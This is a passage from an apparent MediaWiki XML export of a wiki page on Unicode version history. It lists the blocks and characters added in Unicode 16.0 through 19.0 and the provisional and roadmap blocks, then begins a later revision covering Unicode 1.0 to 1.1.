|357E, 358B..358E, 3599..359D, 35AF..35B0, 35B2..35B3, 35DF..35E1, 35EF, 360F, 3612, 3F94, 44D5, 48EE
|5
|-
|CJK Unified Ideographs
|5098, 512D, 517A, 5391, 54DB, 551C, 551F, 55B8, 55ED, 56AB, 591E, 594A, 5B2E, 5DFC..5DFD, 5EE4, 609E, 65B0, 65B3, 65D5, 65F2, 67B2, 6AB6, 6AEC, 6C69, 6FC2, 6FD3, 7019, 7361, 74BD, 7934, 820B, 826E, 83BB, 8412, 8456, 848A, 896F, 8E34, 8FD7, 9166, 9855, 985E, 9C4D
|5
|-
|Latin Extended-D
|A798
|1
|-
|Latin Extended-E
|AB5A
|1
|-

|Tangut
|17105, 172A4, 17BD1..17BD3, 17EF9, 18136
|59
|-
|Alchemical Symbols
|1F741, 1F747, 1F74C, 1F74F, 1F756, 1F758, 1F763, 1F768, 1F76D, 1F76E
|116
|-
|CJK Unified Ideographs Extension B
|20302, 2087A, 20C00, 230B7, 2339E, 236EF, 237C3, 23B87, 23CC0, 23CD9, 23E5E, 2486F, 249D6, 249E8, 24D6A, 2585E, 25D89, 26A5A..26A5B, 26A73, 26A82..26A83, 26A90, 26AA6, 26AA8, 26AD8, 27350, 279F8, 284A3, 28BBA, 29516, 29530
|20
|-
|CJK Unified Ideographs Extension C
|2A741, 2AB63, 2ACD8, 2AF6F, 2B173, 2B490
|1
|-
|CJK Unified Ideographs Extension E
|2BC2E, 2BF45, 2C04C, 2C13A, 2C43C, 2C43E, 2C816
|8
|-
|CJK Unified Ideographs Extension F
|2D1CC..2D1CD, 2D1DD, 2D1E4, 2D1F7, 2D203, 2D256, 2D266, 2D2A2, 2D2AC, 2D2DA
|18
|-
|CJK Unified Ideographs Extension G
|301D4, 301D9, 301E4, 301E8, 301FF..30200, 30205, 3020C, 30211, 30215..30217, 30220, 30234..30235, 30237
|7
|-
|CJK Unified Ideographs Extension H
|314B7, 31542, 31569, 31C7F, 31D5A, 31F68
|7
|-
! colspan=&quot;2&quot; |Total
!164
|}

== Unicode 16.0 ==

Unicode 16.0 was released on September 10th, 2024. It encoded 154,998 characters, adding 5185 new characters.

=== New Blocks ===
* '''Todhri''' (U+105C0-U+105FF), containing 52 characters, was added.
* '''Garay''' (U+10D40-U+10D8F), containing 69 characters, was added.
* '''Tulu-Tigalari''' (U+11380-U+113FF), containing 80 characters, was added.
* '''Myanmar Extended-C''' (U+116D0-U+116FF), containing 20 characters, was added.
* '''Sunuwar''' (U+11BC0-U+11BFF), containing 44 characters, was added.
* '''Egyptian Hieroglyphs Extended-A''' (U+13460-U+143FF), containing 3995 characters, was added.
* '''Gurung Khema''' (U+16100-U+1613F), containing 58 characters, was added.
* '''Kirat Rai''' (U+16D40-U+16D7F), containing 58 characters, was added.
* '''Symbols for Legacy Computing Supplement''' (U+1CC00-U+1CEBF), containing 686 characters, was added.
* '''Ol Onal''' (U+1E5D0-U+1E5FF), containing 44 characters, was added.

=== Extended Blocks ===
* A combining diacritical mark for Jawi (total 1 character) was added to '''Arabic Extended-B'''. (U+0897)
* Inverted letters and a punctuation mark (total 3 characters) was added to '''Balinese'''. (U+1B4E-U+1B4F and U+1B7F)
* A letter Tje (total 2 characters) was added to '''Cyrillic Extended-C'''. (U+1C89-U+1C8A)
* Legacy computing symbols for Delete (total 3 characters) was added to '''Control Pictures'''. (U+2427-U+2429)
* CJK strokes HXG and SZP (total 2 characters) was added to '''CJK Strokes'''. (U+31E4-U+31E5)
* A capital Rams Horn, an S with Diagonal Stroke, Lamda Letters, and letters for Wakashan and Salishan Languages (total 6 characters) was added to '''Latin Extended-D'''. (U+A7CB-U+A7CD, U+A7DA-U+A7DC)
* A combining Alef overlay and letters with two dots vertically below (total 4 characters) was added to '''Arabic Extended-C'''. (U+10EC2-U+10EC4 and U+10EFC)
* A sign Nukta (total 1 character) was added to '''Kawi'''. (U+11F5A)
* A blank character (total 1 character) was added to '''Khitan Small Script'''. (U+18CFF)
* A rightwards arrow with hook, and arrows for legacy computing and arrows for Egyptology (total 12 characters) was added to '''Supplemental Arrows-C'''. (U+1F8B2-U+1F8BB, U+1F8C0-U+1F8C1)
* A Harp, Shovel, Leafless Tree, Fingerprint, Root Vegetable, Splatter, and Face with Bags Under Eyes (total 7 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA89, U+1FA8F, U+1FABE, U+1FAC6, U+1FADC, U+1FADF, and U+1FAE9)
* Graphic shapes for legacy computing (total 37 characters) was added to '''Symbols for Legacy Computing'''. (U+1FBCB-U+1FBEF)

== Unicode 17.0 ==
Unicode 17.0 was released on September 9th, 2025. It encoded 159,801 characters, adding 4,083 new characters.

=== New Blocks ===
* '''Sidetic''' (U+10940-U+1095F), containing 26 characters, was added.
* '''Sharada Supplement''' (U+11B60-U+11B7F), containing 8 characters, was added.
* '''Tolong Siki''' (U+11DB0-U+11DEF), containing 54 characters, was added.
* '''Beria Erfe''' (U+16EA0-U+16EDF), containing 50 characters, was added.
* '''Tangut Components Supplement''' (U+18D80-U+18DFF), containing 115 characters, was added.
* '''Miscellaneous Symbols Supplement''' (U+1CEC0-U+1CEFF), containing 34 characters, was added.
* '''Tai Yo''' (U+1E6C0-U+1E6FF), containing 55 characters, was added.
* '''CJK Unified Ideographs Extension J''' (U+323B0-U+3347F), containing 4298 characters, was added.

=== Extended Blocks ===
* A Noon with Ring Above (total 1 character) was added to '''Arabic Extended-B'''. (U+088F)
* An archaic ligature Shrii (total 1 character) was added to '''Telugu'''. (U+0C5C)
* An archaic ligature Shrii (total 1 character) was added to '''Kannada'''. (U+0CDC)
* Compound tone and harrington diacritics (total 26 characters) was to '''Combining Diacritical Marks Extended'''. (U+1ACF-U+1ADD, U+1AE0-U+1AEB)
* Saudi Riyal Sign (total 1 character) was added to '''Currency Symbols'''. (U+20C1)
* Equal Sign with Infinity Above (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B96)
* 2 capital letters for Middle English, Latin pharyngeal voiced fricative, and Modifier Letter Capital S (total 5 characters) was added to '''Latin Extended-D'''. (U+A7CE-U+A7CF, U+A7D2, U+A7D4, U+A7F1)
* Arabic Ligature Rahmatu Allaahi Alayh and Arabic Honorifics (total 25 characters) was added to '''Arabic Presentation Forms-A'''. (U+FBC3-U+FBD2, U+FD90, U+FD91, U+FDC8-U+FDCE)
* A Small Yeh Barree with Two Dots Below, Thin Noon, Biblical End of Verse, Yeh with Four Dots Below, Honorifics, Double Vertical Bar Below, and Small Low Noon (total 14 characters) was added to '''Arabic Extended-C'''. (U+10EC5-U+10EC7, U+10ED0-U+10ED8, U+10EFA-U+10EFB)
* Chinese Simplified and Traditional Er and Yangqin Slow Signs Two, Three, and Four (total 5 characters) was added to '''Ideographic Symbols and Punctuation'''. (U+16FF2-U+16FF6)
* Some additional ideographs (total 8 characters) was added to '''Tangut'''. (U+187F8-U+187FF)
* Additional ideographs (total 22 characters) was added to '''Tangut Supplement'''. (U+18D09-U+18D1E)
* Nine symbols (total 9 characters) was added to '''Symbols for Legacy Computing Supplement'''. (U+1CCFA-U+1CCFC, U+1CEBA-1CEBF)
* A Landslide (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D8)
* Historical asteroid symbols (total 4 characters) was added to '''Alchemical Symbols'''. (U+1F777-U+1F77A)
* Chemical symbols (total 9 characters) was added to '''Supplemental Arrows-C'''. (U+1F8D0-U+1F8D8)
* White and Black Chess Ferz and Alfil (total 4 characters) was added to '''Chess Symbols'''. (U+1FA54-U+1FA57)
* A trombone, treasure chest, hairy creature, orca, distorted face, and fight cloud (total 6 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8A, U+1FA8E, U+1FAC8, U+1FACD, U+1FAEA, and U+1FAEF)
* An alarm bell symbol (total 1 character) was added to '''Symbols for Legacy Computing'''. (U+1FBFA)
* Additional ideographs (total 6 characters) was added to '''CJK Unified Ideographs Extension C'''. (U+2B73A-U+2B73F)
* Additional ideographs (total 12 characters) was added to '''CJK Unified Ideographs Extension E'''. (U+2CEA2-U+2CEAD)

== Unicode 18.0 ==
Unicode 18.0 was released on September 16, 2026.

=== New Blocks ===
*'''Bengali Supplement''' (U+11DF0-U+11DFF), containing 2 characters, was added.
* '''Archaic Cuneiform Numerals''' (U+12550-U+1268F), containing 311 characters, was added.
* '''Jurchen''' (U+18E00-U+1919F), containing 914 characters, was added.
* '''Jurchen Radicals''' (U+191A0-U+191DF), containing 51 characters, was added.
* '''Musical Symbols Supplement''' (U+1D250-U+1D28F), containing 50 characters, was added.
* '''Miscellaneous Symbols and Arrows Extended''' (U+1DB00-U+1DBFF), containing 29 characters, was added.
* '''Seal Script''' (U+3D000-U+3FC3F), containing 11328 characters, was added.

=== Extended Blocks ===
* Modifier letters Eh, Ini, and Yi (total 3 characters) was added to '''Armenian'''. (U+0558, U+058B-U+058C)
* Hebrew Point Sheva Na Mudgash and Hebrew Point Dagesh Hazaq Mudgash (total 2 characters) was added to '''Hebrew'''. (U+05C8-U+05C9)
* Signs for dot above and double dot above (total 2 characters) was added to '''Oriya'''. (U+0B53-U+0B54)
* Alternate positioned IPA diacritics and diacritics for Chao and Khoe (total 7 characters) was added to '''Combining Diacritical Marks Extended'''. (U+1ADE-U+1ADF, U+1AEC-U+1AF0)
* Latin subscript small letter w, y, and z and Modifier letter high and low vertical line (total 4 characters) was added to '''Superscripts and Subscripts'''. (U+208F, U+209D-U+209F)
* Rufiyaa Sign, UAE Dirham Sign, and Omani Rial (total 3 characters) was added to '''Currency Symbols'''. (U+20C2-U+20C4)
* Two Wiggly Exclamation Marks and Two Parenthesis with Middle Ring (total 4 characters) was added to '''Supplemental Punctuation'''. (U+2E60-U+2E63)
* Latin capital letter closed omega and Latin capital letter r with long leg and (total 2 characters) was added to '''Latin Extended-D'''. (U+A7DD and U+A7E2)
* Latin capital letter script r and script r with ring (total 2 characters) was added to '''Latin Extended-E'''. (U+AB6C-U+AB6D)
* Latin modifier letters for clicks (total 5 characters) was added to '''Latin Extended-F'''. (U+107BB-U+107BF)
* Arabic Crown Letters, Quranic Characters, and Arabic Crown (total 39 characters) was added to '''Arabic Extended-C'''. (U+10EC9-U+10ECF, U+10ED9-U+10EEE, U+10EF0-U+10EF9)
* Devanagari Letter Alternate Ddda (total 1 character) was added to '''Devanagari Extended-A'''. (U+11B0A)
* Extended Cuneiform Numeric Signs (total 12 characters) was added to '''Cuneiform Numbers and Punctuation'''. (U+1246F, U+12475-U+1247F)
* Jurchen Small Script characters (total 5 characters) was added to '''Khitan Small Script'''. (U+18CD6-U+18CDA)
* Two additional ideographs (total 2 characters) was added to '''Tangut Supplement'''. (U+18D1F-U+18D20)
* Hiragana Digraph Koto, Katakana Diagraphs Toki, Tote, and Yori, letters alternate Ne, and Wi (total 6 characters) was added to '''Kana Extended-A'''. (U+1B123-U+1B128)
* Katakana letter small archaic Ye (total 1 character) was added to '''Small Kana Extension'''. (U+1B168)
* Leibnizian alchemical symbols,  Leibnizian cossic characters, and Leibnizian mathematical signs and symbols (total 19 characters) was added to '''Miscellaneous Symbols Supplement'''. (U+1CED2-U+1CED4, U+1CEDD-U+1CEDF, U+1CEF1-U+1CEFD)
* Stein Zimmerman Symbols, Digit Slash Symbols, and other Symbols (total 23 characters) was added to '''Musical Symbols'''. (U+1D127-U+1D128, U+1D1EB-U+1D1FF)
* Mathematical italic long s with descender s (U+1D6A6) was added to '''Mathematical Alphanumeric Symbols'''.
* Affricate ligatures, letters with palatal hook, barred letters, RFE letters, Initial Teaching Alphabet, English Phonotypic Alphabet, Leibnizian cossic characters, and modifier letters (total 151 characters) was added to '''Latin Extended-G'''. (U+1DF1F-U+1DF24, U+1DF2B-U+1DF81, U+1DF90-U+1DF96, U+1DFCD-U+1DFFF)
* A Tomobiki symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F1AE)
* A lighthouse (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D9)
* A black circle with white vertical bar, and Extended Geometric Shapes (total 17 characters) was added to '''Geometric Shapes Extended'''. (U+1F7DA-U+1F7DB, U+1F7F1-U+1F7FF)
* A meteor, eraser, net with handle, monarch butterfly, pickle, cracking face, leftwards thumb sign, and rightwards thumb sign (total 8 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8B-1FA8D, U+1FACC, U+1FADD, U+1FAEB, U+1FAF9-1FAFA)
* An additional ideograph (total 1 character) was added to '''CJK Unified Ideographs Extension D'''. (U+2B81E)

== Unicode 19.0==
Unicode 19.0 will be released in late 2027. There are more characters targeted for this version, but they have not been confirmed yet.

=== New Blocks ===
* '''CJK Unified Ideographs Components-A''' (U+2FA20-U+2FA9F), containing 119 characters, will be added.
* '''CJK Unified Ideographs Components-B''' (U+2FAA0-U+2FC1F), containing 375 characters, will be added.

== Code Points Provisionally Assigned==
This is a section where you can add any upcoming Unicode characters that have been [https://www.unicode.org/alloc/Pipeline.html#codepoint_reservation provisionally assigned for mature proposals] (but not yet accepted) for a future update of The Unicode Standard.

=== New Blocks ===
* '''Arabic Extended-D''' (U+10D90-U+10E5F), containing 3 characters, will be added.
* '''Sirmauri''' (U+11850-U+1188F), containing 55 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Leke''' (U+11B80-U+11BBF), containing 55 characters, will be added.
* '''Proto-Cuneiform''' (U+12690-U+12ECF), containing 1392 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Chisoi''' (U+16D80-U+16DAF), containing 40 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Mwangwego''' (U+16E00-U+16E3F), containing 64 characters, will be added.
* '''Shaaldaa''' (U+1C800-U+1CB2F), containing 804 characters, will be added.
* '''Leibnizian Ambiguous Signs''' (U+1DC00-U+1DC3F), containing 54 characters, will be added.)&lt;!--target: 19.0--&gt;

=== Extended Blocks ===
* Telugu Sign Spacing Candrabindu (total 1 character) will be added to '''Telugu'''. (U+0C70)&lt;!--target: 19.0--&gt;
* Kannada Signs Ardhanusvara and Combining Anusvara Above (total 1 character) will be added to '''Kannada'''. (U+0CF0 and U+0CF4)&lt;!--target: 19.0--&gt;
* Mongolian Letter Manchu Alternative Ue (total 1 character) will be added to '''Mongolian'''. (U+1879)
* Combining Grave-Acute-Macron, Combining inverted lazy s Above, and Combining comma Above and acute (total 3 characters) will be added to '''Combining Diacritical Marks Extended'''. (U+1AF1-U+1AF3)
* Cyrillic small letter Yeru with connecting bar (total 1 character) will be added to '''Cyrillic Extended-C'''. (U+1C8B)&lt;!--target: 19.0--&gt;
* Belarusian Ruble sign and Ruble sign with double vertical stem (total 2 characters) will be added to '''Currency Symbols'''. (U+20C5, U+20CF)&lt;!--20C5 target: 19.0--&gt;
* Combining Long Triple Solidus Overlay and Combining Saltire Overlay (total 2 characters) will be added to '''Combining Diacritical Marks for Symbols'''. (U+20F1-U+20F2)&lt;!--target: 19.0--&gt;
* Latin capital and small letter i with oblique stroke (total 2 characters) will be added to '''Latin Extended-D'''. (U+A7DE-U+A7DF)
* Latin capital letter u with left hook (total 1 character) will be added to '''Latin Extended-E'''. (U+AB6E)&lt;!--target: 19.0--&gt;
* Arabic Dotless Half-Yeh, Half-Yeh, Dotless Half-Jeem and Astronomical Kaf (total 4 characters) will be added to '''Arabic Extended-C'''. (U+10EC0-U+10EC1, U+10EC8, U+10EEF)&lt;!--10EC0-10EC1 target: 19.0--&gt;
* Brahmi minimizing virama (total 1 character) will be added to '''Brahmi'''. (U+1107E)&lt;!--target: 19.0--&gt;
* Tulu-Tigalari letter combining anusvara above, signs om pushpika with tail and shrii pushpika, and letter archaic II (total 5 characters) will be added to '''Tulu-Tigalari'''. (U+113CB, U+113D9-U+113DB)&lt;!--target: 19.0--&gt;
* Newa Letter Heavy Ya (total 1 character) will be added to '''Newa'''. (U+11462)
* Dogra Signs Candrabindu and Avaragha (total 2 characters) will be added to '''Dogra'''. (U+1183C-U+1183D)&lt;!--target: 19.0--&gt;
* Devanagari Jivamuliya and Upadhmaniya (total 2 characters) will be added to '''Devanagari Extended-A'''. (U+11B0B-U+11B0C)&lt;!--target: 19.0--&gt;
* White Ideographic Comma and Double Ideographic Full Stop (total 2 characters) will be added to '''Ideographic Symbols and Punctuation'''. (U+16FE5-U+16FE6)&lt;!--target: 19.0--&gt;
* Alchemical Symbol for Calx-2 and Alchemical Symbol for Retort-2 (total 2 characters) will be added to '''Miscellaneous Symbols Supplement'''. (U+1CED1, U+1CED5)&lt;!--target: 19.0--&gt;
* Musical Symbol down arrowhead breath mark (total 1 character) will be added to '''Musical Symbols Supplement'''. (U+1D282)
* Small w with palatal hook, small n and r with double middle tilde, small capital i with retroflex hook, small open q, x with stroke, small wavy y, schwa with right hook, Romance dialectology symbols, zh ligature, Albanian letter edhe, Albanian Frashëri letters, Modifier letter capital y, and modifier letter accents (total 26 characters) will be added to '''Latin Extended-G'''. (U+1DF82-U+1DF8F, U+1DF97-U+1DFA3, U+1DFC4-U+1DFCC)&lt;!--1DF82-1DF8A, 1DFC5-1DFCC target: 19.0--&gt;
*Arabic Astronomical zero and five astronomical symbols (total 6 characters) will be added to Arabic Mathematical Alphabetic Symbols (U+1EEE0-U+1EEE5)

==Roadmap Blocks==
This is a section where proportional maps of proposed allocations to Unicode and ISO/IEC 10646 are presented. Italic indicates scripts for which detailed proposals have not yet been written.&lt;ref&gt;[https://unicode.org/roadmaps/smp/]&lt;/ref&gt;

* '''Northern Palaeohispanic''' (U+10200-U+1023F)
* '''Southern Palaeohispanic''' (U+10240-U+1027F)
* '''''Shavian Quikscript''' (U+103E0-U+103FF)''
* '''Combining Diacritical Marks Extended-A''' (U+107C0-U+107FF)
* '''Proto-Sinaitic''' (U+108B0-U+108DF)
* '''''Numidian''' (U+10960-U+1097F)''
* '''Balti''' (U+10AA0-U+10ABF)
* '''Book Pahlavi''' (U+10BB0-U+10BDF)
* '''Baburi''' (U+10BE0-U+10BFF)
* '''Arabic Extended-D''' (U+10D90-U+10E5F)
* '''Landa''' (U+11250-U+1127F)
* '''Tani Lipi''' (U+114E0-U+114FF)
* '''Ranjana''' (U+11500-U+1157F)
* '''Zou''' (U+11750-U+117AF)
* '''Pyu''' (U+117B0-U+117FF)
* '''Vateluttu''' (U+11960-U+1199F)
* '''Balti-B''' (U+11CC0-U+11CFF)
* '''Tocharian''' (U+11E00-U+11E6F)
* '''Khotanese''' (U+11E70-U+11ECF)
* '''Pallava''' (U+11F60-U+11FAF)
* '''''Egyptian Hieroglyphs Extended-B''' (U+14680-U+151FF)''
* '''Mayan Hieroglyphs''' (U+15500-U+15AFF)
* '''Kore Sebeli''' (U+15B00-U+15B6F)
* '''Mandombe''' (U+15B80-U+15FFF)
* '''Wei Rma''' (U+16000-U+1604F)
* '''Wagindara''' (U+16050-U+1607F)
* '''Kurukh Banna''' (U+16140-U+1618F)
* '''Moon''' (U+161A0-U+161FF)
* '''Blissymbols''' (U+16200-U+167FF)
* '''Woleai''' (U+16B90-U+16BFF)
* '''Kpelle''' (U+16C00-U+16C7F)
* '''Tikamuli''' (U+16C80-U+16CBF)
* '''Tangsa (Khimhun)''' (U+16CD0-U+16CFF)
* '''Afaka''' (U+16D00-U+16D3F)
* '''Kulitan''' (U+16DD0-U+16DFF)
* '''''Bopomofo Extended-A''' (U+16FA0-U+16FAF)''
* '''Kanbun Extended-A''' (U+16FB0-U+16FDF)
* '''Khitan Large Script''' (U+19200-U+199FF)
* '''Pau Cin Hau Syllabary''' (U+19E00-U+1A2FF)
* '''Eskaya''' (U+1A300-U+1A75F)
* '''Rejang Extended''' (U+1A760-U+1A77F)
* '''''Kaida''''' (U+1A780-U+1A7FF)
* '''Naxi Dongba''' (U+1A800-U+1ACFF)
* '''''Naxi Geba''' (U+1AD00-U+1AFCF)''
* '''''Kana Extended-C''' (U+1AFD0-U+1AFEF)''
* '''Shuishu Logograms''' (U+1B300-U+1B5FF)
* '''Lisu Syllabic Script''' (U+1B600-U+1B9FF)
* '''Indus''' (U+1BA00-U+1BB8F)
* '''Pitman Shorthand''' (U+1BCB0-U+1BCFF)
* '''Proto-Elamite''' (U+1BE00-U+1C37F)
* '''Linear Elamite''' (U+1C380-U+1C4FF)
* '''Ndiko Jonam''' (U+1CB30-U+1CB7F)
* '''N&lt;nowiki&gt;'&lt;/nowiki&gt;ti''' (U+1CB80-U+1CBAF)
* '''Old Chinese Musical Symbols (Flute and Pipa)''' (U+1D290-U+1D2BF)
* '''''Mathematical Alphanumeric Symbols Supplement''' (U+1D380-U+1D3FF)''
* '''Jianzi Format Controls''' (U+1DAE0-U+1DAFF)
* '''Eebee Hmong''' (U+1E150-U+1E1FF)
* '''Western Cham''' (U+1E200-U+1E26F)
* '''Loma''' (U+1E300-U+1E41F)
* '''Bagam''' (U+1E420-U+1E4CF)
* '''Pungchen''' (U+1E500-U+1E52F)
* '''''Pungchung''' (U+1E530-U+1E55F)''
* '''''Marchung''' (U+1E560-U+1E59F)''
* '''Brusha''' (U+1E5A0-U+1E5CF)
* '''''Chola''' (U+1E600-U+1E65F)''
* '''Box-Headed''' (U+1E660-U+1E6BF)
* '''Lampung''' (U+1E700-U+1E73F)
* '''Kerinci''' (U+1E740-U+1E76F)
* '''Buginese Supplement''' (U+1E770-U+1E7BF)
* '''''Lontara Bilang-Bilang''' (U+1E7C0-U+1E7DF)''
* '''N'Ko Supplement''' (U+1E960-1E97F)
* '''''Byblos''''' (U+1EB90-U+1EBFF)
* '''Persian Siyaq Numbers''' (U+1EC00-U+1EC7F)
* '''Diwani Siyaq Numbers''' (U+1ECC0-U+1ECFF)
* '''''Extended Pictographic Characters''' (U+1FC00-U+1FFFF)''

== References ==
{{reflist}}</text>
      <sha1>sonkn1hq49tpbvls3y1ary5ctp282oj</sha1>
    </revision>
    <revision>
      <id>4670499</id>
      <parentid>4670498</parentid>
      <timestamp>2026-09-16T19:23:58Z</timestamp>
      <contributor>
        <username>Alexlatham96</username>
        <id>377450</id>
      </contributor>
      <comment>/* Extended blocks */</comment>
      <origin>4670499</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="130007" sha1="2vax8cgs1g9vdjntk9nppa78bbdm938" xml:space="preserve">{{pp-protected|small=yes}}
{{Unicode page}}
{{TOC right}}
{{refimprove|date=June 2017}}
This page is about each version specification, and the differences between the versions.

== Unicode 1.0 ==

Unicode 1.0 was the first version of Unicode, released October 1991. It encoded 7,094 new characters.

=== “Blocks” ===
This version of Unicode did not formally group characters in blocks. But in comparison with version 2.0, the following “blocks” were available:
U+0000-U+FFFD
51 Blocks
* '''Basic Latin (formerly called ASCII)''' (U+0000-U+007F), containing 128 characters.
* '''Latin-1 Supplement (formerly called Latin1)'''  (U+0080-U+00FF), containing 128 characters.
* '''Latin Extended-A''' '''(formerly called European Latin)''' (U+0100-U+017F), containing 127 characters.
* '''Latin Extended-B''' '''(formerly called Extended Latin)''' (U+0180-U+01FF), containing 113 characters.
* '''IPA Extensions''' '''(formerly called Standard Phonetic)''' (U+0250-U+02AF), containing 89 characters.
* '''Spacing Modifier Letters''' '''(formerly called Modifier Letters)''' (U+02B0-U+02FF), containing 57 characters.
* '''Combining Diacritical Marks''' '''(formerly called Generic Diacritical Marks)''' (U+0300-U+036F), containing 66 characters.
* '''Greek and Coptic''' '''(formerly called Greek)''' (U+0370-U+03FF), containing 112 characters.
* '''Cyrillic''' (U+0400-U+04FF), containing 192 characters.
* '''Armenian''' (U+0530-U+058F), containing 84 characters.
* '''Hebrew''' (U+0590-U+05FF), containing 52 characters.
* '''Arabic''' (U+0600-U+06FF), containing 169 characters.
* '''Devanagari''' (U+0900-U+097F), containing 104 characters.
* '''Bengali''' (U+0980-U+09FF), containing 89 characters.
* '''Gurmukhi''' (U+0A00-U+0A7F), containing 74 characters.
* '''Gujarati''' (U+0A80-U+0AFF), containing 75 characters.
* '''Oriya''' (U+0B00-U+0B7F), containing 78 characters.
* '''Tamil''' (U+0B80-U+0BFF), containing 61 characters.
* '''Telugu''' (U+0C00-U+0C7F), containing 80 characters.
* '''Kannada''' (U+0C80-U+0CFF), containing 80 characters.
* '''Malayalam''' (U+0D00-U+0D7F), containing 78 characters.
* '''Thai''' (U+0E00-U+0E7F), containing 92 characters.
* '''Lao''' (U+0E80-U+0EFF), containing 70 characters.
* '''Tibetan''' (U+1000-U+105F), containing 71 characters.
* '''Georgian''' (U+10A0-U+10FF), containing 78 characters.
* '''General Punctuation''' (U+2000-U+206F), containing 67 characters.
* '''Superscripts and Subscripts''' (U+2070-U+209F), containing 28 characters.
* '''Currency Symbols''' (U+20A0-U+20CF), containing 11 characters.
* '''Combining Marks for Symbols''' '''(formerly called Diacritical Marks for Symbols)''' (U+20D0-U+20FF), containing 18 characters.
* '''Letterlike Symbols''' (U+2100-U+214F), containing 57 characters.
* '''Number Forms''' (U+2150-U+218F), containing 48 characters.
* '''Arrows''' (U+2190-U+21FF), containing 91 characters.
* '''Mathematical Operators''' (U+2200-U+22FF), containing 242 characters.
* '''Miscellaneous Technical''' (U+2300-U+23FF), containing 43 characters.
* '''Control Pictures''' '''(formerly called Pictures for Control Codes)''' (U+2400-U+243F), containing 37 characters.
* '''Optical Character Recognition''' (U+2440-U+245F), containing 11 characters.
* '''Enclosed Alphanumerics''' (U+2460-U+24FF), containing 139 characters.
* '''Box Drawing''' '''(formerly called Form and Chart Components)''' (U+2500-U+257F), containing 128 characters.
* '''Block Elements''' '''(formerly called Blocks)''' (U+2580-U+259F), containing 22 characters.
* '''Geometric Shapes''' (U+25A0-U+25FF), containing 79 characters.
* '''Miscellaneous Symbols''' '''(formerly called Miscellaneous Dingbats)''' (U+2600-U+26FF), containing 106 characters.
* '''Dingbats''' '''(formerly called Zapf Dingbats)''' (U+2700-U+27BF), containing 160 characters.
* '''CJK Symbols and Punctuation''' (U+3000-U+303F), containing 56 characters.
* '''Hiragana''' (U+3040-U+309F), containing 90 characters.
* '''Katakana''' (U+30A0-U+30FF), containing 90 characters.
* '''Bopomofo''' (U+3100-U+312F), containing 40 characters.
* '''Hangul Compatibility Jamo (formerly called Hangul Elements)''' (U+3130-U+318F), containing 94 characters.
* '''Kanbun (formerly called CJK Miscellaneous)''' (U+3190-U+31FF), containing 16 characters.
* '''Enclosed CJK Letters and Months''' '''(formerly called''' '''Enclosed CJK Letters and Ideographs)''' (U+3200-U+32FF), containing 191 characters.
* '''CJK Compatibility''' '''(formerly called CJK Squared Words for U+3300-U+337F and CJK Squared Abbreviations for U+3380-33FF)''' (U+3300-U+33FF), containing 187 characters.
* '''Hangul''' (U+3400-U+3D2D), containing 2,350 characters.
* '''Private Use Area''' (U+E000-U+FDFF), reserved for 5,632 characters.
* '''CJK Compatibility Forms''' '''(formerly called CNS 11643 Compatibility)''' (U+FE30-U+FE4F), containing 28 characters.
* '''Small Form Variants''' '''(formerly called Small Variants)''' (U+FE50-U+FE6F), containing 26 characters.
* '''Arabic Presentation Forms-B''' '''(formerly called Basic Glyphs for Arabic Language)''' (U+FE70-U+FEFF), containing 140 characters.
* '''Halfwidth and Fullwidth Forms''' '''(formerly called Halfwidth and Fullwidth Variants)''' (U+FF00-U+FFEF), containing 216 characters.
* '''Specials''' '''(formerly called Special)''' (U+FFF0-U+FFFF), containing 1 character.

== Unicode 1.0.1 ==
Unicode 1.0.1 was released June 1992. It encoded 28,292 characters, adding 21,204 new characters and removing 6 characters, for a net increase of 21,198 characters.

=== New blocks ===

* '''CJK Unified Ideographs''' (U+4E00-U+9FFF), containing 20,902 Han Ideographs for Chinese, Japanese and Korean, was added.
* '''CJK Compatibility Ideographs''' (U+F900-U+FAFF), containing 302 Han Ideographs for compatibility with existing character sets, was added.

=== Removed characters ===
* Letters Ka and Kha with Ogonek (total 4 characters) were removed from '''Cyrillic'''. (U+04C5-U+04C6 and U+04C9-U+04CA)
* APL Compose Operator and APL Out (total 2 characters) were removed from '''Miscellaneous Technical'''. (U+2300-U+2301)

=== Rearranged characters ===
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)
*'''Circled Katakana:''' ''The characters well be arranged in modern order: e.g., A, I, U, E, O, KA, KI'' (U+32D0-U+32FE)
*'''Basic Glyphs For Arabic Language:''' ''The character shapes will be arranged in different order: Isolate, Final, Initial and Medial'' (U+FE80-FEFC)

=== Characters with semantics changed ===
*'''Zero Width Non-Joiner''' [ZWNJ] (U+20DC)

*'''Zero Width Joiner''' [ZWJ] (U+20DD)

== Unicode 1.1 ==

Unicode 1.1 was released June 1993. It encoded 34,168 characters, adding 5,969 new characters and removing 93 characters, for a net increase of 5,876 characters. It finalized the long anticipated Han Unification.

=== New blocks ===

* '''Hangul Jamo''' (U+1100-U+11FF), containing 240 ''jamo'' for the Hangul script, was added.
* '''Latin Extended Additional''' (U+1E00-U+1EFF), containing 245 precomposed characters for transliteration and Vietnamese, was added.
* '''Greek Extended''' (U+1F00-U+1FFF), containing 233 precomposed characters for polytonic Greek, was added.
* '''Hangul Supplementary-A''' (U+3D2E-U+44B7), containing 1,930 precomposed syllables for the Hangul script, was added.
* '''Hangul Supplementary-B''' (U+44B8-U+4DFF), containing 2,376 precomposed syllables for the Hangul script, was added.
* '''Alphabetic Presentation Forms''' (U+FB00-U+FB4F), containing 57 precomposed characters and ligatures, was added.
* '''Arabic Presentation Forms-A''' (U+FB50-U+FDFF), containing 593 combinations of Arabic letters, was added.
* '''Combining Half Marks''' (U+FE20-U+FE2F), containing 4 halves of diacritical marks, was added.

=== Extended blocks ===

* The long S (ſ) (total 1 character) was added to '''Latin Extended-A'''. (U+017F)
